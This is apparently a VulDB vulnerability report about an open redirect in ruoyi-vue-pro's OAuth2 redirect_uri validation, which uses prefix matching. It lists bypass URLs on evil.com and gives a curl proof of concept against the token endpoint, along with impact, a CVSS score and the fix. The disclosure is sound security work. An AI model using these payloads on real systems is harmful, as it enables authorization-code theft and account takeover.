| tiêu đề | zhijiantianya ruoyi-vue-pro 2026.06 重定向 |
|---|
| Mô tả | An open redirect vulnerability was discovered in the OAuth2 client validation of ruoyi-vue-pro (yudao-server). The validOAuthClientFromCache() method uses StrUtils.startWithAny() to validate the redirect_uri parameter, which performs prefix matching. This allows an attacker to bypass the validation by crafting a redirect_uri that starts with a legitimate URI but redirects to an attacker-controlled domain.
Vulnerable file: yudao-module-system/src/main/java/cn/iocoder/yudao/module/system/service/oauth2/OAuth2ClientServiceImpl.java
Vulnerable method: validOAuthClientFromCache() at line 146
Vulnerable code:
```java
// Redirect URI validation
if (StrUtil.isNotEmpty(redirectUri) && !StrUtils.startWithAny(redirectUri, client.getRedirectUris())) {
throw exception(OAUTH2_CLIENT_REDIRECT_URI_NOT_MATCH, redirectUri);
}
```
Affected endpoint: POST /admin-api/system/oauth2/token
Bypass techniques:
1. Subdomain bypass: https://www.iocoder.cn.evil.com (starts with https://www.iocoder.cn)
2. Path bypass: https://www.iocoder.cn/redirect?url=https://evil.com
3. @ symbol bypass: https://[email protected]
Proof of Concept:
```bash
# Prefix bypass: redirect_uri starts with legitimate URI
curl -X POST 'http://target:48080/admin-api/system/oauth2/token' \
-H 'tenant-id: 1' \
-H 'Authorization: Basic ZGVmYXVsdDphZG1pbjEyMw==' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'grant_type=authorization_code&code=validcode&redirect_uri=https://www.iocoder.cn.evil.com/callback'
# Response does not contain redirect_uri mismatch error → validation passed
```
Verification results (dynamically confirmed):
- Prefix bypass (https://www.iocoder.cn.evil.com) validation passed
- Path bypass (https://www.iocoder.cn/redirect?url=...) validation passed
- @ symbol bypass (https://[email protected]) validation passed
Impact:
1. Authorization code theft: attacker crafts malicious redirect_uri
2. Account takeover: attacker uses stolen code to obtain access_token
3. OAuth2 flow hijacking
CVSS 3.1: 6.5 Medium (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Solution:
1. Use exact matching (equals) instead of startsWith
2. Or use RFC 3986 compliant URL comparison: protocol+host+port exact match |
|---|
| Nguồn | ⚠️ https://github.com/YunaiV/ruoyi-vue-pro/blob/master/yudao-module-system/src/main/java/cn/iocoder/yudao/module/system/service/oauth2/OAuth2ClientServiceImpl.java |
|---|
| Người dùng | liuyulin (UID 100186) |
|---|
| Đệ trình | 29/07/2026 03:49 (cách đây 2 các tháng) |
|---|
| Kiểm duyệt | 24/09/2026 13:34 (2 months later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 409333 [YunaiV/zhijiantianya ruoyi-vue-pro đến 2026.08 OAuth2 Client OAuth2ClientServiceImpl.java validOAuthClientFromCache redirect_uri Redirect] |
|---|
| điểm | 20 |
|---|